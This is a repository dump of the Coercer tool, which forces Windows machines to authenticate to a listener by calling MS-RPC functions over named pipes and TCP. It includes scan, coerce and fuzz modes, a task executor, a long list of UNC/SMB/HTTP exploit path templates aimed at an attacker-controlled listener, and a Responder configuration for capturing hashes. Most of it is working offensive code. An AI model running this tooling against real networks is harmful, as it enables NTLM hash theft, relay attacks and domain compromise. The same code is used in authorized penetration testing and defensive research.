297 | cursor.execute("DELETE FROM results;")
298 | for target in self.test_results.keys():
299 | for uuid in self.test_results[target].keys():
300 | for version in self.test_results[target][uuid].keys():
301 | for function_name in self.test_results[target][uuid][version].keys():
302 | for named_pipe in self.test_results[target][uuid][version][function_name].keys():
303 | for test_result in self.test_results[target][uuid][version][function_name][named_pipe]:
304 | cursor.execute("INSERT INTO results VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)", (
305 | target,
306 | uuid,
307 | version,
308 | named_pipe,
309 | test_result["protocol"]["shortname"],
310 | test_result["protocol"]["longname"],
311 | function_name,
312 | test_result["testresult"],
313 | str(bytes(test_result["exploitpath"], 'utf-8'))[2:-1].replace('\\\\', '\\')
314 | )
315 | )
316 | # Commit your changes in the database
317 | conn.commit()
318 | # Closing the connection
319 | conn.close()
320 | self.print_info("Results exported to SQLITE3 db in '%s'" % path_to_file)
321 |
--------------------------------------------------------------------------------
/coercer/core/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : __init__.py
4 | # Author : Podalirius (@podalirius_)
5 | # Date created : 17 Jul 2022
6 |
--------------------------------------------------------------------------------
/coercer/core/loader.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : loader.py
4 | # Author : Podalirius (@podalirius_)
5 | # Date created : 18 Sep 2022
6 |
7 |
8 | import os
9 | import sys
10 | from importlib import import_module
11 | from coercer.structures.MethodType import MethodType
12 |
13 | from coercer.core.Reporter import reporter
14 |
15 | def find_and_load_coerce_methods():
16 | """
17 | Function find_and_load_coerce_methods()
18 |
19 | Returns:
20 | list:coerce_methods
21 | """
22 | coerce_methods = {}
23 | search_dir = os.path.dirname(__file__) + os.path.sep + ".." + os.path.sep + "methods"
24 | reporter.print("Loading coerce methods from %s ..." % search_dir, symbol="loader", debug=True)
25 | sys.path.extend([search_dir])
26 | for _dir in os.listdir(search_dir):
27 | _dirpath = search_dir + os.path.sep + _dir
28 | if os.path.isdir(_dirpath) and _dir not in ["__pycache__"]:
29 | reporter.print("Loading methods for category %s ..." % _dir, symbol="loader", debug=True)
30 | for _file in os.listdir(_dirpath):
31 | _filepath = _dirpath + os.path.sep + _file
32 | if _file.endswith('.py'):
33 | if os.path.isfile(_filepath) and _file not in ["__init__.py"]:
34 | try:
35 | module = import_module('coercer.methods.%s.%s' % (_dir, _file[:-3]))
36 | method_class = module.__getattribute__(_file[:-3])
37 | if all([kw in dir(method_class) for kw in ["method_type"]]):
38 | if method_class.method_type not in coerce_methods.keys():
39 | coerce_methods[method_class.method_type] = {}
40 | # Handling Microsoft Network protocols methods
41 | if method_class.method_type == MethodType.MICROSOFT_PROTOCOL:
42 | if method_class.protocol["shortname"] not in coerce_methods[method_class.method_type].keys():
43 | coerce_methods[method_class.method_type][method_class.protocol["shortname"]] = {}
44 | if method_class.function["name"] not in coerce_methods[method_class.method_type][method_class.protocol["shortname"]].keys():
45 | coerce_methods[method_class.method_type][method_class.protocol["shortname"]][method_class.function["name"]] = {
46 | "class": method_class
47 | }
48 | reporter.print(" └──> Loaded Remote Procedure Call %s (opnum %d)" % (method_class.function["name"], method_class.function["opnum"]), symbol="loader", debug=True)
49 | # Handling other methods
50 | elif method_class.method_type == MethodType.OTHER:
51 | pass
52 | else:
53 | reporter.print("'%s' does not match the template." % _file, symbol="loader", debug=True)
54 | except AttributeError as e:
55 | pass
56 | reporter.print("coerce_methods: %s" % str(coerce_methods), symbol="loader", debug=True)
57 | return coerce_methods
58 |
--------------------------------------------------------------------------------
/coercer/core/modes/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : __init__.py
4 | # Author : Podalirius (@podalirius_)
5 | # Date created : 17 Jul 2022
6 |
--------------------------------------------------------------------------------
/coercer/core/modes/coerce.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : coerce.py
4 | # Author : Podalirius (@podalirius_)
5 | # Date created : 18 Sep 2022
6 |
7 |
8 | from coercer.core.Filter import Filter
9 | from coercer.structures.Modes import Modes
10 | from coercer.core.tasks.execute import execute_tasks
11 | from coercer.core.tasks.prepare import prepare_tasks
12 | from coercer.network.rpc import portmap_discover
13 |
14 | from coercer.core.Reporter import reporter
15 |
16 | def action_coerce(target, available_methods, options, credentials):
17 | reporter.verbose = True
18 |
19 | filter = Filter(
20 | filter_method_name=options.filter_method_name,
21 | filter_protocol_name=options.filter_protocol_name,
22 | filter_pipe_name=options.filter_pipe_name
23 | )
24 |
25 | portmap = {}
26 | if "dcerpc" in options.filter_transport_name:
27 | if not options.dce_ports:
28 | portmap = portmap_discover(target, options.dce_port)
29 | else:
30 | portmap = {}
31 |
32 | # Preparing tasks ==============================================================================================================
33 |
34 | tasks = prepare_tasks(available_methods, options, filter, Modes.COERCE, portmap)
35 |
36 | # Executing tasks =======================================================================================================================
37 |
38 | reporter.print_info("Coercing '%s' to authenticate to '%s'" % (target, options.listener_ip), verbose=True)
39 | reporter.print_info("Using SMB port %d for authentication" % options.smb_port, verbose=True)
40 |
41 | execute_tasks(tasks, options, target, credentials, Modes.COERCE)
42 |
--------------------------------------------------------------------------------
/coercer/core/modes/fuzz.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : fuzz.py
4 | # Author : Podalirius (@podalirius_)
5 | # Date created : 18 Sep 2022
6 |
7 |
8 | from coercer.core.Filter import Filter
9 | from coercer.structures.Modes import Modes
10 | from coercer.core.tasks.execute import execute_tasks
11 | from coercer.core.tasks.prepare import prepare_tasks
12 | from coercer.network.smb import list_remote_pipes
13 | from coercer.network.utils import get_ip_addr_to_listen_on
14 | from coercer.network.rpc import portmap_discover
15 |
16 | from coercer.core.Reporter import reporter
17 |
18 | def action_fuzz(target, available_methods, options, credentials):
19 | filter = Filter(
20 | filter_method_name=options.filter_method_name,
21 | filter_protocol_name=options.filter_protocol_name,
22 | filter_pipe_name=options.filter_pipe_name
23 | )
24 |
25 | # Preparing pipes ==============================================================================================================
26 |
27 | named_pipe_of_remote_machine = []
28 | ports = set()
29 | if "msrpc" in options.filter_transport_name:
30 | if credentials.is_anonymous():
31 | reporter.print_info("Cannot list SMB pipes with anonymous login, using list of known pipes")
32 | named_pipe_of_remote_machine = [
33 | r'\PIPE\atsvc',
34 | r'\PIPE\efsrpc',
35 | r'\PIPE\epmapper',
36 | r'\PIPE\eventlog',
37 | r'\PIPE\InitShutdown',
38 | r'\PIPE\lsass',
39 | r'\PIPE\lsarpc',
40 | r'\PIPE\LSM_API_service',
41 | r'\PIPE\netdfs',
42 | r'\PIPE\netlogon',
43 | r'\PIPE\ntsvcs',
44 | r'\PIPE\PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER',
45 | r'\PIPE\scerpc',
46 | r'\PIPE\spoolss',
47 | r'\PIPE\srvsvc',
48 | r'\PIPE\VBoxTrayIPC-Administrator',
49 | r'\PIPE\W32TIME_ALT',
50 | r'\PIPE\wkssvc'
51 | ]
52 | if options.verbose:
53 | reporter.print_info("Using integrated list of %d SMB named pipes." % len(named_pipe_of_remote_machine))
54 | else:
55 | named_pipe_of_remote_machine = list_remote_pipes(target, credentials)
56 | reporter.print_info("Found %d SMB named pipes on the remote machine." % len(named_pipe_of_remote_machine), verbose=True)
57 | kept_pipes_after_filters = []
58 | for pipe in named_pipe_of_remote_machine:
59 | if filter.pipe_matches_filter(pipe):
60 | kept_pipes_after_filters.append(pipe)
61 | if len(kept_pipes_after_filters) == 0 and not credentials.is_anonymous():
62 | reporter.print_error("No SMB named pipes matching filter --filter-pipe-name %s were found on the remote machine." % options.filter_pipe_name)
63 | return None
64 | elif len(kept_pipes_after_filters) == 0 and credentials.is_anonymous():
65 | reporter.print_error("No SMB named pipes matching filter --filter-pipe-name %s were found in the list of known named pipes." % options.filter_pipe_name)
66 | return None
67 | else:
68 | named_pipe_of_remote_machine = kept_pipes_after_filters
69 |
70 | if "dcerpc" in options.filter_transport_name:
71 | portmap = portmap_discover(target, options.dce_port)
72 | for uuid in portmap.get("ncacn_ip_tcp",[]):
73 | for port in portmap["ncacn_ip_tcp"][uuid]:
74 | ports.add(port)
75 |
76 | # Preparing tasks ==============================================================================================================
77 |
78 | tasks = prepare_tasks(available_methods, options, filter, Modes.FUZZ)
79 |
80 | # Executing tasks =======================================================================================================================
81 |
82 | listening_ip = get_ip_addr_to_listen_on(target, options)
83 | reporter.print_info("Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port), debug=True)
84 |
85 | execute_tasks(tasks, options, target, credentials, Modes.FUZZ, listening_ip, ports, named_pipe_of_remote_machine)
86 |
--------------------------------------------------------------------------------
/coercer/core/modes/scan.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : scan.py
4 | # Author : Podalirius (@podalirius_)
5 | # Date created : 18 Sep 2022
6 |
7 |
8 | from coercer.core.Filter import Filter
9 | from coercer.structures.Modes import Modes
10 | from coercer.core.tasks.execute import execute_tasks
11 | from coercer.core.tasks.prepare import prepare_tasks
12 | from coercer.network.utils import get_ip_addr_to_listen_on
13 | from coercer.network.rpc import portmap_discover
14 |
15 | from coercer.core.Reporter import reporter
16 |
17 | def action_scan(target, available_methods, options, credentials):
18 | filter = Filter(
19 | filter_method_name=options.filter_method_name,
20 | filter_protocol_name=options.filter_protocol_name,
21 | filter_pipe_name=options.filter_pipe_name
22 | )
23 |
24 | portmap = {}
25 | if "dcerpc" in options.filter_transport_name:
26 | if not options.dce_ports:
27 | portmap = portmap_discover(target, options.dce_port)
28 | else:
29 | portmap = {}
30 |
31 | # Preparing tasks ==============================================================================================================
32 |
33 | tasks = prepare_tasks(available_methods, options, filter, Modes.SCAN, portmap)
34 |
35 | # Executing tasks =======================================================================================================================
36 |
37 | listening_ip = get_ip_addr_to_listen_on(target, options)
38 | reporter.print_info("Listening for authentications on '%s', SMB port %d" % (listening_ip, options.smb_port), verbose=True)
39 |
40 | execute_tasks(tasks, options, target, credentials, Modes.SCAN, listening_ip)
--------------------------------------------------------------------------------
/coercer/core/tasks/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : __init__.py
4 | # Author : p0rtL (@p0rtL6)
5 | # Date created : 3 Dec 2024
6 |
--------------------------------------------------------------------------------
/coercer/core/tasks/execute.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : execute.py
4 | # Author : Podalirius (@podalirius_) / p0rtL (@p0rtL6)
5 | # Date created : 3 Dec 2024
6 |
7 | import sys
8 | import time
9 | from coercer.structures import EscapeCodes
10 | from coercer.structures.TransportType import TransportType
11 | from coercer.structures.Modes import Modes
12 | from coercer.core.utils import generate_exploit_path_from_template, generate_exploit_templates
13 | from coercer.network.DCERPCSession import DCERPCSession
14 | from coercer.network.authentications import trigger_and_catch_authentication, trigger_authentication
15 | from coercer.network.rpc import can_bind_to_interface_on_port, is_port_open
16 | from coercer.network.smb import can_bind_to_interface, can_connect_to_pipe
17 | from coercer.network.utils import get_next_http_listener_port
18 | from coercer.structures.TestResult import TestResult
19 | from coercer.core.Reporter import reporter
20 |
21 | def execute_tasks(tasks, options, target, credentials, mode, listening_ip=None, ports=None , named_pipe_of_remote_machine=None):
22 | for transport_name, transport in tasks.items():
23 | if mode == Modes.FUZZ:
24 | exploit_paths = generate_exploit_templates()
25 |
26 | if mode == Modes.FUZZ or mode == Modes.SCAN:
27 | http_listen_port = 0
28 |
29 | if len(transport.keys()) == 0:
30 | return None
31 |
32 | transportType = TransportType[transport_name.upper()]
33 |
34 | if transportType == TransportType.NCACN_IP_TCP:
35 | if not "dcerpc" in options.filter_transport_name:
36 | continue
37 |
38 | iterable = ports or sorted(transport.keys())
39 | def can_connect_function(target, taskEntry, credentials):
40 | return is_port_open(target, taskEntry)
41 | can_bind_function = can_bind_to_interface_on_port
42 | def connect_function(dcerpc, target, taskEntry):
43 | return dcerpc.connect_ncacn_ip_tcp(target=target, port=taskEntry)
44 |
45 | elif transportType == TransportType.NCAN_NP:
46 | if not "msrpc" in options.filter_transport_name:
47 | continue
48 |
49 | iterable = sorted(named_pipe_of_remote_machine) if named_pipe_of_remote_machine else sorted(transport.keys())
50 | def can_connect_function(target, taskEntry, credentials):
51 | return can_connect_to_pipe(target, taskEntry, credentials)
52 | can_bind_function = can_bind_to_interface
53 | def connect_function(dcerpc, target, taskEntry):
54 | return dcerpc.connect_ncacn_np(target=target, pipe=taskEntry)
55 |
56 | for taskEntry in iterable:
57 | if can_connect_function(target, taskEntry, credentials):
58 | reporter.print(transportType.value, " '", (taskEntry, EscapeCodes.BOLD_BRIGHT_BLUE), "' is ", ("accessible", EscapeCodes.BOLD_BRIGHT_GREEN), "!", symbol=("+", EscapeCodes.BRIGHT_GREEN))
59 |
60 | if mode == Modes.COERCE or mode == Modes.SCAN:
61 | tasks_inner = transport[taskEntry]
62 | elif mode == Modes.FUZZ:
63 | tasks_inner = transport
64 |
65 | for uuid in sorted(tasks_inner.keys()):
66 | for version in sorted(tasks_inner[uuid].keys()):
67 | if can_bind_function(target, taskEntry, credentials, uuid, version):
68 | reporter.print_ok(" ", "Successful bind to interface (%s, %s)!" % (uuid, version))
69 | for msprotocol_class in sorted(tasks_inner[uuid][version], key=lambda x:x.function["name"]):
70 |
71 | if mode == Modes.COERCE or mode == Modes.SCAN:
72 | exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
73 |
74 | elif mode == Modes.FUZZ and options.only_known_exploit_paths:
75 | exploit_paths = msprotocol_class.generate_exploit_templates(desired_auth_type=options.auth_type)
76 |
77 | stop_exploiting_this_function = False
78 | for listener_type, exploitpath in exploit_paths:
79 | if stop_exploiting_this_function:
80 | # Got a nca_s_unk_if response, this function does not listen on the given interface
81 | continue
82 |
83 | if (mode == Modes.SCAN or mode == Modes.FUZZ) and listener_type == "http":
84 | http_listen_port = get_next_http_listener_port(current_value=http_listen_port, listen_ip=listening_ip, options=options)
85 |
86 | exploitpath = generate_exploit_path_from_template(
87 | template=exploitpath,
88 | listener=options.path_ip or listening_ip or options.listener_ip,
89 | http_listen_port=http_listen_port if mode == Modes.FUZZ else options.http_port,
90 | smb_listen_port=options.smb_port
91 | )
92 |
93 | if options.path_ip:
94 | reporter.print_info(" ", "Using user provided path: %s" % exploitpath, debug=True)
95 |
96 | msprotocol_rpc_instance = msprotocol_class(path=exploitpath)
97 | dcerpc = DCERPCSession(credentials=credentials)
98 | connect_function(dcerpc, target, taskEntry)
99 |
100 | if dcerpc.session is not None:
101 | dcerpc.bind(interface_uuid=uuid, interface_version=version)
102 | if dcerpc.session is not None:
103 | reporter.print_testing(msprotocol_rpc_instance)
104 |
105 | if mode == Modes.COERCE:
106 | result = trigger_authentication(
107 | dcerpc_session=dcerpc.session,
108 | target=target,
109 | method_trigger_function=msprotocol_rpc_instance.trigger
110 | )
111 |
112 | elif mode == Modes.SCAN or mode == Modes.FUZZ:
113 | result = trigger_and_catch_authentication(
114 | options=options,
115 | dcerpc_session=dcerpc.session,
116 | target=target,
117 | method_trigger_function=msprotocol_rpc_instance.trigger,
118 | listenertype=listener_type,
119 | listen_ip=listening_ip,
120 | http_port=http_listen_port
121 | )
122 |
123 | reporter.report_test_result(
124 | target=target,
125 | uuid=uuid, version=version, namedpipe="",
126 | msprotocol_rpc_instance=msprotocol_rpc_instance,
127 | result=result,
128 | exploitpath=exploitpath
129 | )
130 |
131 | if result == TestResult.NCA_S_UNK_IF:
132 | stop_exploiting_this_function = True
133 |
134 | if mode == Modes.SCAN and options.stop_on_ntlm_auth and result in [TestResult.SMB_AUTH_RECEIVED_NTLMv1, TestResult.SMB_AUTH_RECEIVED_NTLMv2]:
135 | reporter.print_info("NTLM authentication received; moving on to next target")
136 | return None
137 |
138 | if options.delay is not None:
139 | # Sleep between attempts
140 | time.sleep(options.delay)
141 |
142 | if mode == Modes.COERCE and not options.always_continue:
143 | next_action_answer = None
144 | while next_action_answer not in ["C","S","X"]:
145 | next_action_answer = input("Continue (C) | Skip this function (S) | Stop exploitation (X) ? ")
146 | if len(next_action_answer) > 0:
147 | next_action_answer = next_action_answer.strip()[0].upper()
148 | if next_action_answer == "C":
149 | pass
150 | elif next_action_answer == "S":
151 | stop_exploiting_this_function = True
152 | elif next_action_answer == "X":
153 | return None
154 | else:
155 | if options.verbose:
156 | reporter.print_error(" ", "Cannot bind to interface (%s, %s)!" % (uuid, version))
157 | else:
158 | reporter.print(transportType.value, " '", (taskEntry, EscapeCodes.BOLD_BRIGHT_BLUE), "' ", ("closed", EscapeCodes.BOLD_BRIGHT_RED), "!", symbol=("!", EscapeCodes.BRIGHT_RED), verbose=True)
159 |
--------------------------------------------------------------------------------
/coercer/core/tasks/prepare.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : prepare.py
4 | # Author : Podalirius (@podalirius_) / p0rtL (@p0rtL6)
5 | # Date created : 3 Dec 2024
6 |
7 | from coercer.structures.Modes import Modes
8 |
9 |
10 | def prepare_tasks(available_methods, options, filter, mode, portmap=None):
11 | tasks = {}
12 | for method_type in available_methods.keys():
13 | for category in sorted(available_methods[method_type].keys()):
14 | for method in sorted(available_methods[method_type][category].keys()):
15 | instance = available_methods[method_type][category][method]["class"]
16 |
17 | if filter.method_matches_filter(instance):
18 | for access_type, access_methods in instance.access.items():
19 | if access_type not in tasks.keys():
20 | tasks[access_type] = {}
21 |
22 | # Access through SMB named pipe
23 | if access_type == "ncan_np":
24 | for access_method in access_methods:
25 | namedpipe, uuid, version = access_method["namedpipe"], access_method["uuid"], access_method["version"]
26 | if filter.pipe_matches_filter(namedpipe):
27 | if mode == Modes.COERCE or mode == Modes.SCAN:
28 | if namedpipe not in tasks[access_type].keys():
29 | tasks[access_type][namedpipe] = {}
30 |
31 | if uuid not in tasks[access_type][namedpipe].keys():
32 | tasks[access_type][namedpipe][uuid] = {}
33 |
34 | if version not in tasks[access_type][namedpipe][uuid].keys():
35 | tasks[access_type][namedpipe][uuid][version] = []
36 |
37 | if instance not in tasks[access_type][namedpipe][uuid][version]:
38 | tasks[access_type][namedpipe][uuid][version].append(instance)
39 |
40 | elif mode == Modes.FUZZ:
41 | if uuid not in tasks[access_type].keys():
42 | tasks[access_type][uuid] = {}
43 |
44 | if version not in tasks[access_type][uuid].keys():
45 | tasks[access_type][uuid][version] = []
46 |
47 | if instance not in tasks[access_type][uuid][version]:
48 | tasks[access_type][uuid][version].append(instance)
49 |
50 | elif access_type == "ncacn_ip_tcp":
51 | for access_method in access_methods:
52 | uuid, version = access_method["uuid"], access_method["version"]
53 |
54 | if mode == Modes.COERCE or mode == Modes.SCAN:
55 | for port in options.dce_ports or portmap.get("ncacn_ip_tcp",{}).get("%s v%s"%(uuid.upper(),version),[]):
56 | if port not in tasks[access_type].keys():
57 | tasks[access_type][port] = {}
58 |
59 | if uuid not in tasks[access_type][port].keys():
60 | tasks[access_type][port][uuid] = {}
61 |
62 | if version not in tasks[access_type][port][uuid].keys():
63 | tasks[access_type][port][uuid][version] = []
64 |
65 | if instance not in tasks[access_type][port][uuid][version]:
66 | tasks[access_type][port][uuid][version].append(instance)
67 |
68 | elif mode == Modes.FUZZ:
69 | if uuid not in tasks[access_type].keys():
70 | tasks[access_type][uuid] = {}
71 |
72 | if version not in tasks[access_type][uuid].keys():
73 | tasks[access_type][uuid][version] = []
74 |
75 | if instance not in tasks[access_type][uuid][version]:
76 | tasks[access_type][uuid][version].append(instance)
77 | return tasks
--------------------------------------------------------------------------------
/coercer/core/utils.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # File name : utils.py
4 | # Author : Podalirius (@podalirius_)
5 | # Date created : 15 Sep 2022
6 |
7 |
8 | import random
9 | import jinja2
10 |
11 |
12 | def gen_random_name(length=8):
13 | alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
14 | name = ""
15 | for k in range(length):
16 | name += random.choice(alphabet)
17 | return name
18 |
19 |
20 | def generate_exploit_templates(desired_auth_type=None):
21 | add_uncommon_tests = False
22 |
23 | templates = [
24 | # Only ip
25 | ("smb", '{{listener}}\x00'),
26 | # SMB
27 | ("smb", '\\\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\file.txt\x00'),
28 | ("smb", '\\\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\\x00'),
29 | ("smb", '\\\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\x00'),
30 | ("smb", '\\\\{{listener}}{{smb_listen_port}}\\\x00'),
31 | ("smb", '\\\\{{listener}}{{smb_listen_port}}\x00'),
32 | # SMB path with ?
33 | ("smb", '\\\\?\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\file.txt\x00'),
34 | ("smb", '\\\\?\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\\x00'),
35 | ("smb", '\\\\?\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\x00'),
36 | ("smb", '\\\\?\\{{listener}}{{smb_listen_port}}\\\x00'),
37 | ("smb", '\\\\?\\{{listener}}{{smb_listen_port}}\x00'),
38 | # SMB path with .
39 | ("smb", '\\\\.\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\file.txt\x00'),
40 | ("smb", '\\\\.\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\\x00'),
41 | ("smb", '\\\\.\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\x00'),
42 | ("smb", '\\\\.\\{{listener}}{{smb_listen_port}}\\\x00'),
43 | ("smb", '\\\\.\\{{listener}}{{smb_listen_port}}\x00'),
44 | # UNC path with ?
45 | ("smb", '\\\\?\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\file.txt\x00'),
46 | ("smb", '\\\\?\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\\x00'),
47 | ("smb", '\\\\?\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\x00'),
48 | ("smb", '\\\\?\\UNC\\{{listener}}{{smb_listen_port}}\\\x00'),
49 | ("smb", '\\\\?\\UNC\\{{listener}}{{smb_listen_port}}\x00'),
50 | # UNC path with ??
51 | ("smb", '\\??\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\file.txt\x00'),
52 | ("smb", '\\??\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\aa\x00'),
53 | ("smb", '\\??\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\\x00'),
54 | ("smb", '\\??\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\x00'),
55 | ("smb", '\\??\\UNC\\{{listener}}{{smb_listen_port}}\\\x00'),
56 | ("smb", '\\??\\UNC\\{{listener}}{{smb_listen_port}}\x00'),
57 | # UNC path with .
58 | ("smb", '\\\\.\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\file.txt\x00'),
59 | ("smb", '\\\\.\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\\\x00'),
60 | ("smb", '\\\\.\\UNC\\{{listener}}{{smb_listen_port}}\\{{rnd(8)}}\x00'),
61 | ("smb", '\\\\.\\UNC\\{{listener}}{{smb_listen_port}}\\\x00'),
62 | ("smb", '\\\\.\\UNC\\{{listener}}{{smb_listen_port}}\x00'),
63 | # HTTP
64 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\File.txt\x00'),
65 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\\x00'),
66 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\x00'),
67 | ("http", '\\\\{{listener}}{{http_listen_port}}\\\x00'),
68 | ("http", '\\\\{{listener}}{{http_listen_port}}\x00')
69 | ]
70 |
71 | if add_uncommon_tests:
72 | templates += [
73 |
74 | # HTTP
75 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\{{rnd(8)}}\\Path\\File.txt\x00'),
76 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\{{rnd(8)}}\\Path\\\x00'),
77 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\{{rnd(8)}}\\Path\x00'),
78 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\{{rnd(8)}}\\\x00'),
79 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\{{rnd(8)}}\x00'),
80 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\\\x00'),
81 | ("http", '\\\\{{listener}}{{http_listen_port}}\\{{rnd(3)}}\x00'),
82 |
83 | ("http", '//{{listener}}{{http_listen_port}}/{{rnd(3)}}/{{rnd(8)}}/Path/File.txt\x00'),
84 | ("http", '//{{listener}}{{http_listen_port}}/{{rnd(3)}}/{{rnd(8)}}/Path/\x00'),
85 | ("http", '//{{listener}}{{http_listen_port}}/{{rnd(3)}}/{{rnd(8)}}/Path\x00'),
86 | ("http", '//{{listener}}{{http_listen_port}}/{{rnd(3)}}/{{rnd(8)}}/\x00'),
87 | ("http", '//{{listener}}{{http_listen_port}}/{{rnd(3)}}/{{rnd(8)}}\x00'),
88 | ("http", '//{{listener}}{{http_listen_port}}/{{rnd(3)}}/\x00'),
89 | ("http", '//{{listener}}{{http_listen_port}}/{{rnd(3)}}\x00'),
90 |
91 | ("smb", '\\UNC\\{{listener}}\\{{rnd(8)}}\\file.txt\x00'),
92 | ("smb", '\\UNC\\{{listener}}\\{{rnd(8)}}\\\x00'),
93 | ("smb", '\\UNC\\{{listener}}\\{{rnd(8)}}\x00'),
94 | ("smb", '\\UNC\\{{listener}}\\\x00'),
95 | ("smb", '\\UNC\\{{listener}}\x00'),
96 |
97 | ("smb", 'UNC\\{{listener}}\\{{rnd(8)}}\\file.txt\x00'),
98 | ("smb", 'UNC\\{{listener}}\\{{rnd(8)}}\\\x00'),
99 | ("smb", 'UNC\\{{listener}}\\{{rnd(8)}}\x00'),
100 | ("smb", 'UNC\\{{listener}}\\\x00'),
101 | ("smb", 'UNC\\{{listener}}\x00'),
102 |
103 | ("smb", 'UNC:\\{{listener}}\\{{rnd(8)}}\\file.txt\x00'),
104 | ("smb", 'UNC:\\{{listener}}\\{{rnd(8)}}\\\x00'),
105 | ("smb", 'UNC:\\{{listener}}\\{{rnd(8)}}\x00'),
106 | ("smb", 'UNC:\\{{listener}}\\\x00'),
107 | ("smb", 'UNC:\\{{listener}}\x00'),
108 |
109 | ("http", 'http://{{listener}}/EndpointName/File.txt\x00'),
110 | ("http", 'http://{{listener}}/EndpointName/\x00'),
111 | ("http", 'http://{{listener}}/\x00'),
112 | ("http", 'http://{{listener}}\x00'),
113 |
114 | ("http", 'file://\\\\{{listener}}\\EndpointName\\Share\\Path\\File.txt\x00'),
115 | ("http", 'file://\\\\{{listener}}\\EndpointName\\Share\\Path\\\x00'),
116 | ("http", 'file://\\\\{{listener}}\\EndpointName\\Share\\Path\x00'),
117 | ("http", 'file://\\\\{{listener}}\\EndpointName\\Share\\\x00'),
118 | ("http", 'file://\\\\{{listener}}\\EndpointName\\Share\x00'),
119 | ("http", 'file://\\\\{{listener}}\\EndpointName\\\x00'),
120 | ("http", 'file://\\\\{{listener}}\\EndpointName\x00'),
121 | ]
122 |
123 | paths = []
124 | for auth_type, exploit_path in templates:
125 | if desired_auth_type is not None:
126 | if auth_type == desired_auth_type:
127 | paths.append((auth_type, exploit_path))
128 | else:
129 | paths.append((auth_type, exploit_path))
130 | return paths
131 |
132 |
133 | def generate_exploit_path_from_template(template, listener, http_listen_port=80, smb_listen_port=445):
134 | # Declaring template functions
135 | rnd = gen_random_name
136 |
137 | if smb_listen_port is not None and smb_listen_port != 445:
138 | smb_listen_port = "@%d" % smb_listen_port
139 | else:
140 | smb_listen_port = ""
141 |
142 | if http_listen_port is not None:
143 | http_listen_port = "@%d" % http_listen_port
144 | else:
145 | http_listen_port = "@80"
146 |
147 | # Rendering template
148 | exploit_path = jinja2.Template(template).render(
149 | listener=listener,
150 | rnd=rnd,
151 | http_listen_port=http_listen_port,
152 | smb_listen_port=smb_listen_port
153 | )
154 | return exploit_path
155 |
--------------------------------------------------------------------------------
/coercer/ext/responder/Responder.conf:
--------------------------------------------------------------------------------
1 | [Responder Core]
2 |
3 | ; Servers to start
4 | SQL = On
5 | SMB = On
6 | RDP = On
7 | Kerberos = On
8 | FTP = On
9 | POP = On
10 | SMTP = On
11 | IMAP = On
12 | HTTP = On
13 | HTTPS = On
14 | DNS = On
15 | LDAP = On
16 | DCERPC = On
17 | WINRM = On
18 |
19 | ; Custom challenge.
20 | ; Use "Random" for generating a random challenge for each requests (Default)
21 | Challenge = Random
22 |
23 | ; SQLite Database file
24 | ; Delete this file to re-capture previously captured hashes
25 | Database = Responder.db
26 |
27 | ; Default log file
28 | SessionLog = Responder-Session.log
29 |
30 | ; Poisoners log
31 | PoisonersLog = Poisoners-Session.log
32 |
33 | ; Analyze mode log
34 | AnalyzeLog = Analyzer-Session.log
35 |
36 | ; Dump Responder Config log:
37 | ResponderConfigDump = Config-Responder.log
38 |
39 | ; Specific IP Addresses to respond to (default = All)
40 | ; Example: RespondTo = 10.20.1.100-150, 10.20.3.10
41 | RespondTo =
42 |
